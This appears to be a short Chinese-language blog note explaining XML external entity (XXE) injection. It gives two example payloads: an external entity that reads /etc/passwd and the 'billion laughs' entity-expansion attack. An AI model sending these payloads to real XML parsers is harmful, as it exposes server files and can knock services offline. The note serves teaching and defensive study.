zoukankan      html  css  js  c++  java
  • XXE

    XML外部实体注入

    1. 产生

      XML外部实体是一种自定义XML实体,其定义值是从声明它们的DTD外部加载的。外部实体允许基于文件路径或URL的内容定义实体。

    2. 例子

      1. 读取文件

        <?xml version="1.0" encoding="utf-8"?> 
        <!DOCTYPE xxe [
        <!ELEMENT name ANY >
        <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
        <root>
        <name>&xxe;</name>
        </root>
        
      2. Billion laughs attack

        <?xml version="1.0"?>
        <!DOCTYPE lolz [
         <!ENTITY lol "lol">
         <!ELEMENT lolz (#PCDATA)>
         <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
         <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
         <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
         <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
         <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
         <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
         <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
         <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
         <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
        ]>
        <lolz>&lol9;</lolz>
        
  • 相关阅读:
    python基础-迭代器,闭包
    python基础-练习题
    python基础-函数的进阶
    python基础-函数
    python实现十大经典算法
    Auto-Encoders实战
    Variational Auto-Encoders原理
    Reparameterization Trick
    Adversarial Auto-Encoders
    AutoEncoders变种
  • 原文地址:https://www.cnblogs.com/thenbz3/p/11581063.html
Copyright © 2011-2022 走看看